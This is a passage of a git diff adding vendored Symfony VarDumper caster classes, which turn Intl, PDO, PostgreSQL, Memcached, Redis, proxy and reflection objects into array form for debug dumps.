$c->getAttribute(\NumberFormatter::FRACTION_DIGITS), + 'MULTIPLIER' => $c->getAttribute(\NumberFormatter::MULTIPLIER), + 'GROUPING_SIZE' => $c->getAttribute(\NumberFormatter::GROUPING_SIZE), + 'ROUNDING_MODE' => $c->getAttribute(\NumberFormatter::ROUNDING_MODE), + 'ROUNDING_INCREMENT' => $c->getAttribute(\NumberFormatter::ROUNDING_INCREMENT), + 'FORMAT_WIDTH' => $c->getAttribute(\NumberFormatter::FORMAT_WIDTH), + 'PADDING_POSITION' => $c->getAttribute(\NumberFormatter::PADDING_POSITION), + 'SECONDARY_GROUPING_SIZE' => $c->getAttribute(\NumberFormatter::SECONDARY_GROUPING_SIZE), + 'SIGNIFICANT_DIGITS_USED' => $c->getAttribute(\NumberFormatter::SIGNIFICANT_DIGITS_USED), + 'MIN_SIGNIFICANT_DIGITS' => $c->getAttribute(\NumberFormatter::MIN_SIGNIFICANT_DIGITS), + 'MAX_SIGNIFICANT_DIGITS' => $c->getAttribute(\NumberFormatter::MAX_SIGNIFICANT_DIGITS), + 'LENIENT_PARSE' => $c->getAttribute(\NumberFormatter::LENIENT_PARSE), + ] + ), + Caster::PREFIX_VIRTUAL.'text_attributes' => new EnumStub( + [ + 'POSITIVE_PREFIX' => $c->getTextAttribute(\NumberFormatter::POSITIVE_PREFIX), + 'POSITIVE_SUFFIX' => $c->getTextAttribute(\NumberFormatter::POSITIVE_SUFFIX), + 'NEGATIVE_PREFIX' => $c->getTextAttribute(\NumberFormatter::NEGATIVE_PREFIX), + 'NEGATIVE_SUFFIX' => $c->getTextAttribute(\NumberFormatter::NEGATIVE_SUFFIX), + 'PADDING_CHARACTER' => $c->getTextAttribute(\NumberFormatter::PADDING_CHARACTER), + 'CURRENCY_CODE' => $c->getTextAttribute(\NumberFormatter::CURRENCY_CODE), + 'DEFAULT_RULESET' => $c->getTextAttribute(\NumberFormatter::DEFAULT_RULESET), + 'PUBLIC_RULESETS' => $c->getTextAttribute(\NumberFormatter::PUBLIC_RULESETS), + ] + ), + Caster::PREFIX_VIRTUAL.'symbols' => new EnumStub( + [ + 'DECIMAL_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL), + 'GROUPING_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::GROUPING_SEPARATOR_SYMBOL), + 'PATTERN_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::PATTERN_SEPARATOR_SYMBOL), + 'PERCENT_SYMBOL' => $c->getSymbol(\NumberFormatter::PERCENT_SYMBOL), + 'ZERO_DIGIT_SYMBOL' => $c->getSymbol(\NumberFormatter::ZERO_DIGIT_SYMBOL), + 'DIGIT_SYMBOL' => $c->getSymbol(\NumberFormatter::DIGIT_SYMBOL), + 'MINUS_SIGN_SYMBOL' => $c->getSymbol(\NumberFormatter::MINUS_SIGN_SYMBOL), + 'PLUS_SIGN_SYMBOL' => $c->getSymbol(\NumberFormatter::PLUS_SIGN_SYMBOL), + 'CURRENCY_SYMBOL' => $c->getSymbol(\NumberFormatter::CURRENCY_SYMBOL), + 'INTL_CURRENCY_SYMBOL' => $c->getSymbol(\NumberFormatter::INTL_CURRENCY_SYMBOL), + 'MONETARY_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::MONETARY_SEPARATOR_SYMBOL), + 'EXPONENTIAL_SYMBOL' => $c->getSymbol(\NumberFormatter::EXPONENTIAL_SYMBOL), + 'PERMILL_SYMBOL' => $c->getSymbol(\NumberFormatter::PERMILL_SYMBOL), + 'PAD_ESCAPE_SYMBOL' => $c->getSymbol(\NumberFormatter::PAD_ESCAPE_SYMBOL), + 'INFINITY_SYMBOL' => $c->getSymbol(\NumberFormatter::INFINITY_SYMBOL), + 'NAN_SYMBOL' => $c->getSymbol(\NumberFormatter::NAN_SYMBOL), + 'SIGNIFICANT_DIGIT_SYMBOL' => $c->getSymbol(\NumberFormatter::SIGNIFICANT_DIGIT_SYMBOL), + 'MONETARY_GROUPING_SEPARATOR_SYMBOL' => $c->getSymbol(\NumberFormatter::MONETARY_GROUPING_SEPARATOR_SYMBOL), + ] + ), + ]; + + return self::castError($c, $a); + } + + public static function castIntlTimeZone(\IntlTimeZone $c, array $a, Stub $stub, $isNested) + { + $a += [ + Caster::PREFIX_VIRTUAL.'display_name' => $c->getDisplayName(), + Caster::PREFIX_VIRTUAL.'id' => $c->getID(), + Caster::PREFIX_VIRTUAL.'raw_offset' => $c->getRawOffset(), + ]; + + if ($c->useDaylightTime()) { + $a += [ + Caster::PREFIX_VIRTUAL.'dst_savings' => $c->getDSTSavings(), + ]; + } + + return self::castError($c, $a); + } + + public static function castIntlCalendar(\IntlCalendar $c, array $a, Stub $stub, $isNested, $filter = 0) + { + $a += [ + Caster::PREFIX_VIRTUAL.'type' => $c->getType(), + Caster::PREFIX_VIRTUAL.'first_day_of_week' => $c->getFirstDayOfWeek(), + Caster::PREFIX_VIRTUAL.'minimal_days_in_first_week' => $c->getMinimalDaysInFirstWeek(), + Caster::PREFIX_VIRTUAL.'repeated_wall_time_option' => $c->getRepeatedWallTimeOption(), + Caster::PREFIX_VIRTUAL.'skipped_wall_time_option' => $c->getSkippedWallTimeOption(), + Caster::PREFIX_VIRTUAL.'time' => $c->getTime(), + Caster::PREFIX_VIRTUAL.'in_daylight_time' => $c->inDaylightTime(), + Caster::PREFIX_VIRTUAL.'is_lenient' => $c->isLenient(), + Caster::PREFIX_VIRTUAL.'time_zone' => ($filter & Caster::EXCLUDE_VERBOSE) ? new CutStub($c->getTimeZone()) : $c->getTimeZone(), + ]; + + return self::castError($c, $a); + } + + public static function castIntlDateFormatter(\IntlDateFormatter $c, array $a, Stub $stub, $isNested, $filter = 0) + { + $a += [ + Caster::PREFIX_VIRTUAL.'locale' => $c->getLocale(), + Caster::PREFIX_VIRTUAL.'pattern' => $c->getPattern(), + Caster::PREFIX_VIRTUAL.'calendar' => $c->getCalendar(), + Caster::PREFIX_VIRTUAL.'time_zone_id' => $c->getTimeZoneId(), + Caster::PREFIX_VIRTUAL.'time_type' => $c->getTimeType(), + Caster::PREFIX_VIRTUAL.'date_type' => $c->getDateType(), + Caster::PREFIX_VIRTUAL.'calendar_object' => ($filter & Caster::EXCLUDE_VERBOSE) ? new CutStub($c->getCalendarObject()) : $c->getCalendarObject(), + Caster::PREFIX_VIRTUAL.'time_zone' => ($filter & Caster::EXCLUDE_VERBOSE) ? new CutStub($c->getTimeZone()) : $c->getTimeZone(), + ]; + + return self::castError($c, $a); + } + + private static function castError($c, array $a): array + { + if ($errorCode = $c->getErrorCode()) { + $a += [ + Caster::PREFIX_VIRTUAL.'error_code' => $errorCode, + Caster::PREFIX_VIRTUAL.'error_message' => $c->getErrorMessage(), + ]; + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/LinkStub.php b/vendor/symfony/var-dumper/Caster/LinkStub.php new file mode 100644 index 0000000..6360716 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/LinkStub.php @@ -0,0 +1,108 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +/** + * Represents a file or a URL. + * + * @author Nicolas Grekas + */ +class LinkStub extends ConstStub +{ + public $inVendor = false; + + private static $vendorRoots; + private static $composerRoots; + + public function __construct($label, int $line = 0, $href = null) + { + $this->value = $label; + + if (null === $href) { + $href = $label; + } + if (!\is_string($href)) { + return; + } + if (0 === strpos($href, 'file://')) { + if ($href === $label) { + $label = substr($label, 7); + } + $href = substr($href, 7); + } elseif (false !== strpos($href, '://')) { + $this->attr['href'] = $href; + + return; + } + if (!file_exists($href)) { + return; + } + if ($line) { + $this->attr['line'] = $line; + } + if ($label !== $this->attr['file'] = realpath($href) ?: $href) { + return; + } + if ($composerRoot = $this->getComposerRoot($href, $this->inVendor)) { + $this->attr['ellipsis'] = \strlen($href) - \strlen($composerRoot) + 1; + $this->attr['ellipsis-type'] = 'path'; + $this->attr['ellipsis-tail'] = 1 + ($this->inVendor ? 2 + \strlen(implode('', \array_slice(explode(\DIRECTORY_SEPARATOR, substr($href, 1 - $this->attr['ellipsis'])), 0, 2))) : 0); + } elseif (3 < \count($ellipsis = explode(\DIRECTORY_SEPARATOR, $href))) { + $this->attr['ellipsis'] = 2 + \strlen(implode('', \array_slice($ellipsis, -2))); + $this->attr['ellipsis-type'] = 'path'; + $this->attr['ellipsis-tail'] = 1; + } + } + + private function getComposerRoot(string $file, bool &$inVendor) + { + if (null === self::$vendorRoots) { + self::$vendorRoots = []; + + foreach (get_declared_classes() as $class) { + if ('C' === $class[0] && 0 === strpos($class, 'ComposerAutoloaderInit')) { + $r = new \ReflectionClass($class); + $v = \dirname($r->getFileName(), 2); + if (file_exists($v.'/composer/installed.json')) { + self::$vendorRoots[] = $v.\DIRECTORY_SEPARATOR; + } + } + } + } + $inVendor = false; + + if (isset(self::$composerRoots[$dir = \dirname($file)])) { + return self::$composerRoots[$dir]; + } + + foreach (self::$vendorRoots as $root) { + if ($inVendor = 0 === strpos($file, $root)) { + return $root; + } + } + + $parent = $dir; + while (!@file_exists($parent.'/composer.json')) { + if (!@file_exists($parent)) { + // open_basedir restriction in effect + break; + } + if ($parent === \dirname($parent)) { + return self::$composerRoots[$dir] = false; + } + + $parent = \dirname($parent); + } + + return self::$composerRoots[$dir] = $parent.\DIRECTORY_SEPARATOR; + } +} diff --git a/vendor/symfony/var-dumper/Caster/MemcachedCaster.php b/vendor/symfony/var-dumper/Caster/MemcachedCaster.php new file mode 100644 index 0000000..942eecb --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/MemcachedCaster.php @@ -0,0 +1,81 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * @author Jan Schädlich + * + * @final since Symfony 4.4 + */ +class MemcachedCaster +{ + private static $optionConstants; + private static $defaultOptions; + + public static function castMemcached(\Memcached $c, array $a, Stub $stub, $isNested) + { + $a += [ + Caster::PREFIX_VIRTUAL.'servers' => $c->getServerList(), + Caster::PREFIX_VIRTUAL.'options' => new EnumStub( + self::getNonDefaultOptions($c) + ), + ]; + + return $a; + } + + private static function getNonDefaultOptions(\Memcached $c): array + { + self::$defaultOptions = self::$defaultOptions ?? self::discoverDefaultOptions(); + self::$optionConstants = self::$optionConstants ?? self::getOptionConstants(); + + $nonDefaultOptions = []; + foreach (self::$optionConstants as $constantKey => $value) { + if (self::$defaultOptions[$constantKey] !== $option = $c->getOption($value)) { + $nonDefaultOptions[$constantKey] = $option; + } + } + + return $nonDefaultOptions; + } + + private static function discoverDefaultOptions(): array + { + $defaultMemcached = new \Memcached(); + $defaultMemcached->addServer('127.0.0.1', 11211); + + $defaultOptions = []; + self::$optionConstants = self::$optionConstants ?? self::getOptionConstants(); + + foreach (self::$optionConstants as $constantKey => $value) { + $defaultOptions[$constantKey] = $defaultMemcached->getOption($value); + } + + return $defaultOptions; + } + + private static function getOptionConstants(): array + { + $reflectedMemcached = new \ReflectionClass(\Memcached::class); + + $optionConstants = []; + foreach ($reflectedMemcached->getConstants() as $constantKey => $value) { + if (0 === strpos($constantKey, 'OPT_')) { + $optionConstants[$constantKey] = $value; + } + } + + return $optionConstants; + } +} diff --git a/vendor/symfony/var-dumper/Caster/PdoCaster.php b/vendor/symfony/var-dumper/Caster/PdoCaster.php new file mode 100644 index 0000000..d30ab01 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/PdoCaster.php @@ -0,0 +1,122 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts PDO related classes to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class PdoCaster +{ + private static $pdoAttributes = [ + 'CASE' => [ + \PDO::CASE_LOWER => 'LOWER', + \PDO::CASE_NATURAL => 'NATURAL', + \PDO::CASE_UPPER => 'UPPER', + ], + 'ERRMODE' => [ + \PDO::ERRMODE_SILENT => 'SILENT', + \PDO::ERRMODE_WARNING => 'WARNING', + \PDO::ERRMODE_EXCEPTION => 'EXCEPTION', + ], + 'TIMEOUT', + 'PREFETCH', + 'AUTOCOMMIT', + 'PERSISTENT', + 'DRIVER_NAME', + 'SERVER_INFO', + 'ORACLE_NULLS' => [ + \PDO::NULL_NATURAL => 'NATURAL', + \PDO::NULL_EMPTY_STRING => 'EMPTY_STRING', + \PDO::NULL_TO_STRING => 'TO_STRING', + ], + 'CLIENT_VERSION', + 'SERVER_VERSION', + 'STATEMENT_CLASS', + 'EMULATE_PREPARES', + 'CONNECTION_STATUS', + 'STRINGIFY_FETCHES', + 'DEFAULT_FETCH_MODE' => [ + \PDO::FETCH_ASSOC => 'ASSOC', + \PDO::FETCH_BOTH => 'BOTH', + \PDO::FETCH_LAZY => 'LAZY', + \PDO::FETCH_NUM => 'NUM', + \PDO::FETCH_OBJ => 'OBJ', + ], + ]; + + public static function castPdo(\PDO $c, array $a, Stub $stub, $isNested) + { + $attr = []; + $errmode = $c->getAttribute(\PDO::ATTR_ERRMODE); + $c->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); + + foreach (self::$pdoAttributes as $k => $v) { + if (!isset($k[0])) { + $k = $v; + $v = []; + } + + try { + $attr[$k] = 'ERRMODE' === $k ? $errmode : $c->getAttribute(\constant('PDO::ATTR_'.$k)); + if ($v && isset($v[$attr[$k]])) { + $attr[$k] = new ConstStub($v[$attr[$k]], $attr[$k]); + } + } catch (\Exception $e) { + } + } + if (isset($attr[$k = 'STATEMENT_CLASS'][1])) { + if ($attr[$k][1]) { + $attr[$k][1] = new ArgsStub($attr[$k][1], '__construct', $attr[$k][0]); + } + $attr[$k][0] = new ClassStub($attr[$k][0]); + } + + $prefix = Caster::PREFIX_VIRTUAL; + $a += [ + $prefix.'inTransaction' => method_exists($c, 'inTransaction'), + $prefix.'errorInfo' => $c->errorInfo(), + $prefix.'attributes' => new EnumStub($attr), + ]; + + if ($a[$prefix.'inTransaction']) { + $a[$prefix.'inTransaction'] = $c->inTransaction(); + } else { + unset($a[$prefix.'inTransaction']); + } + + if (!isset($a[$prefix.'errorInfo'][1], $a[$prefix.'errorInfo'][2])) { + unset($a[$prefix.'errorInfo']); + } + + $c->setAttribute(\PDO::ATTR_ERRMODE, $errmode); + + return $a; + } + + public static function castPdoStatement(\PDOStatement $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + $a[$prefix.'errorInfo'] = $c->errorInfo(); + + if (!isset($a[$prefix.'errorInfo'][1], $a[$prefix.'errorInfo'][2])) { + unset($a[$prefix.'errorInfo']); + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/PgSqlCaster.php b/vendor/symfony/var-dumper/Caster/PgSqlCaster.php new file mode 100644 index 0000000..6098277 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/PgSqlCaster.php @@ -0,0 +1,156 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts pqsql resources to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class PgSqlCaster +{ + private static $paramCodes = [ + 'server_encoding', + 'client_encoding', + 'is_superuser', + 'session_authorization', + 'DateStyle', + 'TimeZone', + 'IntervalStyle', + 'integer_datetimes', + 'application_name', + 'standard_conforming_strings', + ]; + + private static $transactionStatus = [ + \PGSQL_TRANSACTION_IDLE => 'PGSQL_TRANSACTION_IDLE', + \PGSQL_TRANSACTION_ACTIVE => 'PGSQL_TRANSACTION_ACTIVE', + \PGSQL_TRANSACTION_INTRANS => 'PGSQL_TRANSACTION_INTRANS', + \PGSQL_TRANSACTION_INERROR => 'PGSQL_TRANSACTION_INERROR', + \PGSQL_TRANSACTION_UNKNOWN => 'PGSQL_TRANSACTION_UNKNOWN', + ]; + + private static $resultStatus = [ + \PGSQL_EMPTY_QUERY => 'PGSQL_EMPTY_QUERY', + \PGSQL_COMMAND_OK => 'PGSQL_COMMAND_OK', + \PGSQL_TUPLES_OK => 'PGSQL_TUPLES_OK', + \PGSQL_COPY_OUT => 'PGSQL_COPY_OUT', + \PGSQL_COPY_IN => 'PGSQL_COPY_IN', + \PGSQL_BAD_RESPONSE => 'PGSQL_BAD_RESPONSE', + \PGSQL_NONFATAL_ERROR => 'PGSQL_NONFATAL_ERROR', + \PGSQL_FATAL_ERROR => 'PGSQL_FATAL_ERROR', + ]; + + private static $diagCodes = [ + 'severity' => \PGSQL_DIAG_SEVERITY, + 'sqlstate' => \PGSQL_DIAG_SQLSTATE, + 'message' => \PGSQL_DIAG_MESSAGE_PRIMARY, + 'detail' => \PGSQL_DIAG_MESSAGE_DETAIL, + 'hint' => \PGSQL_DIAG_MESSAGE_HINT, + 'statement position' => \PGSQL_DIAG_STATEMENT_POSITION, + 'internal position' => \PGSQL_DIAG_INTERNAL_POSITION, + 'internal query' => \PGSQL_DIAG_INTERNAL_QUERY, + 'context' => \PGSQL_DIAG_CONTEXT, + 'file' => \PGSQL_DIAG_SOURCE_FILE, + 'line' => \PGSQL_DIAG_SOURCE_LINE, + 'function' => \PGSQL_DIAG_SOURCE_FUNCTION, + ]; + + public static function castLargeObject($lo, array $a, Stub $stub, $isNested) + { + $a['seek position'] = pg_lo_tell($lo); + + return $a; + } + + public static function castLink($link, array $a, Stub $stub, $isNested) + { + $a['status'] = pg_connection_status($link); + $a['status'] = new ConstStub(\PGSQL_CONNECTION_OK === $a['status'] ? 'PGSQL_CONNECTION_OK' : 'PGSQL_CONNECTION_BAD', $a['status']); + $a['busy'] = pg_connection_busy($link); + + $a['transaction'] = pg_transaction_status($link); + if (isset(self::$transactionStatus[$a['transaction']])) { + $a['transaction'] = new ConstStub(self::$transactionStatus[$a['transaction']], $a['transaction']); + } + + $a['pid'] = pg_get_pid($link); + $a['last error'] = pg_last_error($link); + $a['last notice'] = pg_last_notice($link); + $a['host'] = pg_host($link); + $a['port'] = pg_port($link); + $a['dbname'] = pg_dbname($link); + $a['options'] = pg_options($link); + $a['version'] = pg_version($link); + + foreach (self::$paramCodes as $v) { + if (false !== $s = pg_parameter_status($link, $v)) { + $a['param'][$v] = $s; + } + } + + $a['param']['client_encoding'] = pg_client_encoding($link); + $a['param'] = new EnumStub($a['param']); + + return $a; + } + + public static function castResult($result, array $a, Stub $stub, $isNested) + { + $a['num rows'] = pg_num_rows($result); + $a['status'] = pg_result_status($result); + if (isset(self::$resultStatus[$a['status']])) { + $a['status'] = new ConstStub(self::$resultStatus[$a['status']], $a['status']); + } + $a['command-completion tag'] = pg_result_status($result, \PGSQL_STATUS_STRING); + + if (-1 === $a['num rows']) { + foreach (self::$diagCodes as $k => $v) { + $a['error'][$k] = pg_result_error_field($result, $v); + } + } + + $a['affected rows'] = pg_affected_rows($result); + $a['last OID'] = pg_last_oid($result); + + $fields = pg_num_fields($result); + + for ($i = 0; $i < $fields; ++$i) { + $field = [ + 'name' => pg_field_name($result, $i), + 'table' => sprintf('%s (OID: %s)', pg_field_table($result, $i), pg_field_table($result, $i, true)), + 'type' => sprintf('%s (OID: %s)', pg_field_type($result, $i), pg_field_type_oid($result, $i)), + 'nullable' => (bool) pg_field_is_null($result, $i), + 'storage' => pg_field_size($result, $i).' bytes', + 'display' => pg_field_prtlen($result, $i).' chars', + ]; + if (' (OID: )' === $field['table']) { + $field['table'] = null; + } + if ('-1 bytes' === $field['storage']) { + $field['storage'] = 'variable size'; + } elseif ('1 bytes' === $field['storage']) { + $field['storage'] = '1 byte'; + } + if ('1 chars' === $field['display']) { + $field['display'] = '1 char'; + } + $a['fields'][] = new EnumStub($field); + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/ProxyManagerCaster.php b/vendor/symfony/var-dumper/Caster/ProxyManagerCaster.php new file mode 100644 index 0000000..ec02f81 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ProxyManagerCaster.php @@ -0,0 +1,33 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use ProxyManager\Proxy\ProxyInterface; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class ProxyManagerCaster +{ + public static function castProxy(ProxyInterface $c, array $a, Stub $stub, $isNested) + { + if ($parent = get_parent_class($c)) { + $stub->class .= ' - '.$parent; + } + $stub->class .= '@proxy'; + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/RedisCaster.php b/vendor/symfony/var-dumper/Caster/RedisCaster.php new file mode 100644 index 0000000..e92c65b --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/RedisCaster.php @@ -0,0 +1,152 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts Redis class from ext-redis to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class RedisCaster +{ + private static $serializer = [ + \Redis::SERIALIZER_NONE => 'NONE', + \Redis::SERIALIZER_PHP => 'PHP', + 2 => 'IGBINARY', // Optional Redis::SERIALIZER_IGBINARY + ]; + + private static $mode = [ + \Redis::ATOMIC => 'ATOMIC', + \Redis::MULTI => 'MULTI', + \Redis::PIPELINE => 'PIPELINE', + ]; + + private static $compression = [ + 0 => 'NONE', // Redis::COMPRESSION_NONE + 1 => 'LZF', // Redis::COMPRESSION_LZF + ]; + + private static $failover = [ + \RedisCluster::FAILOVER_NONE => 'NONE', + \RedisCluster::FAILOVER_ERROR => 'ERROR', + \RedisCluster::FAILOVER_DISTRIBUTE => 'DISTRIBUTE', + \RedisCluster::FAILOVER_DISTRIBUTE_SLAVES => 'DISTRIBUTE_SLAVES', + ]; + + public static function castRedis(\Redis $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + if (!$connected = $c->isConnected()) { + return $a + [ + $prefix.'isConnected' => $connected, + ]; + } + + $mode = $c->getMode(); + + return $a + [ + $prefix.'isConnected' => $connected, + $prefix.'host' => $c->getHost(), + $prefix.'port' => $c->getPort(), + $prefix.'auth' => $c->getAuth(), + $prefix.'mode' => isset(self::$mode[$mode]) ? new ConstStub(self::$mode[$mode], $mode) : $mode, + $prefix.'dbNum' => $c->getDbNum(), + $prefix.'timeout' => $c->getTimeout(), + $prefix.'lastError' => $c->getLastError(), + $prefix.'persistentId' => $c->getPersistentID(), + $prefix.'options' => self::getRedisOptions($c), + ]; + } + + public static function castRedisArray(\RedisArray $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + return $a + [ + $prefix.'hosts' => $c->_hosts(), + $prefix.'function' => ClassStub::wrapCallable($c->_function()), + $prefix.'lastError' => $c->getLastError(), + $prefix.'options' => self::getRedisOptions($c), + ]; + } + + public static function castRedisCluster(\RedisCluster $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + $failover = $c->getOption(\RedisCluster::OPT_SLAVE_FAILOVER); + + $a += [ + $prefix.'_masters' => $c->_masters(), + $prefix.'_redir' => $c->_redir(), + $prefix.'mode' => new ConstStub($c->getMode() ? 'MULTI' : 'ATOMIC', $c->getMode()), + $prefix.'lastError' => $c->getLastError(), + $prefix.'options' => self::getRedisOptions($c, [ + 'SLAVE_FAILOVER' => isset(self::$failover[$failover]) ? new ConstStub(self::$failover[$failover], $failover) : $failover, + ]), + ]; + + return $a; + } + + /** + * @param \Redis|\RedisArray|\RedisCluster $redis + */ + private static function getRedisOptions($redis, array $options = []): EnumStub + { + $serializer = $redis->getOption(\Redis::OPT_SERIALIZER); + if (\is_array($serializer)) { + foreach ($serializer as &$v) { + if (isset(self::$serializer[$v])) { + $v = new ConstStub(self::$serializer[$v], $v); + } + } + } elseif (isset(self::$serializer[$serializer])) { + $serializer = new ConstStub(self::$serializer[$serializer], $serializer); + } + + $compression = \defined('Redis::OPT_COMPRESSION') ? $redis->getOption(\Redis::OPT_COMPRESSION) : 0; + if (\is_array($compression)) { + foreach ($compression as &$v) { + if (isset(self::$compression[$v])) { + $v = new ConstStub(self::$compression[$v], $v); + } + } + } elseif (isset(self::$compression[$compression])) { + $compression = new ConstStub(self::$compression[$compression], $compression); + } + + $retry = \defined('Redis::OPT_SCAN') ? $redis->getOption(\Redis::OPT_SCAN) : 0; + if (\is_array($retry)) { + foreach ($retry as &$v) { + $v = new ConstStub($v ? 'RETRY' : 'NORETRY', $v); + } + } else { + $retry = new ConstStub($retry ? 'RETRY' : 'NORETRY', $retry); + } + + $options += [ + 'TCP_KEEPALIVE' => \defined('Redis::OPT_TCP_KEEPALIVE') ? $redis->getOption(\Redis::OPT_TCP_KEEPALIVE) : 0, + 'READ_TIMEOUT' => $redis->getOption(\Redis::OPT_READ_TIMEOUT), + 'COMPRESSION' => $compression, + 'SERIALIZER' => $serializer, + 'PREFIX' => $redis->getOption(\Redis::OPT_PREFIX), + 'SCAN' => $retry, + ]; + + return new EnumStub($options); + } +} diff --git a/vendor/symfony/var-dumper/Caster/ReflectionCaster.php b/vendor/symfony/var-dumper/Caster/ReflectionCaster.php new file mode 100644 index 0000000..6be710c --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ReflectionCaster.php @@ -0,0 +1,392 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts Reflector related classes to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class ReflectionCaster +{ + const UNSET_CLOSURE_FILE_INFO = ['Closure' => __CLASS__.'::unsetClosureFileInfo']; + + private static $extraMap = [ + 'docComment' => 'getDocComment', + 'extension' => 'getExtensionName', + 'isDisabled' => 'isDisabled', + 'isDeprecated' => 'isDeprecated', + 'isInternal' => 'isInternal', + 'isUserDefined' => 'isUserDefined', + 'isGenerator' => 'isGenerator', + 'isVariadic' => 'isVariadic', + ]; + + public static function castClosure(\Closure $c, array $a, Stub $stub, $isNested, $filter = 0) + { + $prefix = Caster::PREFIX_VIRTUAL; + $c = new \ReflectionFunction($c); + + $a = static::castFunctionAbstract($c, $a, $stub, $isNested, $filter); + + if (false === strpos($c->name, '{closure}')) { + $stub->class = isset($a[$prefix.'class']) ? $a[$prefix.'class']->value.'::'.$c->name : $c->name; + unset($a[$prefix.'class']); + } + unset($a[$prefix.'extra']); + + $stub->class .= self::getSignature($a); + + if ($f = $c->getFileName()) { + $stub->attr['file'] = $f; + $stub->attr['line'] = $c->getStartLine(); + } + + unset($a[$prefix.'parameters']); + + if ($filter & Caster::EXCLUDE_VERBOSE) { + $stub->cut += ($c->getFileName() ? 2 : 0) + \count($a); + + return []; + } + + if ($f) { + $a[$prefix.'file'] = new LinkStub($f, $c->getStartLine()); + $a[$prefix.'line'] = $c->getStartLine().' to '.$c->getEndLine(); + } + + return $a; + } + + public static function unsetClosureFileInfo(\Closure $c, array $a) + { + unset($a[Caster::PREFIX_VIRTUAL.'file'], $a[Caster::PREFIX_VIRTUAL.'line']); + + return $a; + } + + public static function castGenerator(\Generator $c, array $a, Stub $stub, $isNested) + { + // Cannot create ReflectionGenerator based on a terminated Generator + try { + $reflectionGenerator = new \ReflectionGenerator($c); + } catch (\Exception $e) { + $a[Caster::PREFIX_VIRTUAL.'closed'] = true; + + return $a; + } + + return self::castReflectionGenerator($reflectionGenerator, $a, $stub, $isNested); + } + + public static function castType(\ReflectionType $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + $a += [ + $prefix.'name' => $c instanceof \ReflectionNamedType ? $c->getName() : (string) $c, + $prefix.'allowsNull' => $c->allowsNull(), + $prefix.'isBuiltin' => $c->isBuiltin(), + ]; + + return $a; + } + + public static function castReflectionGenerator(\ReflectionGenerator $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + if ($c->getThis()) { + $a[$prefix.'this'] = new CutStub($c->getThis()); + } + $function = $c->getFunction(); + $frame = [ + 'class' => isset($function->class) ? $function->class : null, + 'type' => isset($function->class) ? ($function->isStatic() ? '::' : '->') : null, + 'function' => $function->name, + 'file' => $c->getExecutingFile(), + 'line' => $c->getExecutingLine(), + ]; + if ($trace = $c->getTrace(\DEBUG_BACKTRACE_IGNORE_ARGS)) { + $function = new \ReflectionGenerator($c->getExecutingGenerator()); + array_unshift($trace, [ + 'function' => 'yield', + 'file' => $function->getExecutingFile(), + 'line' => $function->getExecutingLine() - 1, + ]); + $trace[] = $frame; + $a[$prefix.'trace'] = new TraceStub($trace, false, 0, -1, -1); + } else { + $function = new FrameStub($frame, false, true); + $function = ExceptionCaster::castFrameStub($function, [], $function, true); + $a[$prefix.'executing'] = $function[$prefix.'src']; + } + + $a[Caster::PREFIX_VIRTUAL.'closed'] = false; + + return $a; + } + + public static function castClass(\ReflectionClass $c, array $a, Stub $stub, $isNested, $filter = 0) + { + $prefix = Caster::PREFIX_VIRTUAL; + + if ($n = \Reflection::getModifierNames($c->getModifiers())) { + $a[$prefix.'modifiers'] = implode(' ', $n); + } + + self::addMap($a, $c, [ + 'extends' => 'getParentClass', + 'implements' => 'getInterfaceNames', + 'constants' => 'getConstants', + ]); + + foreach ($c->getProperties() as $n) { + 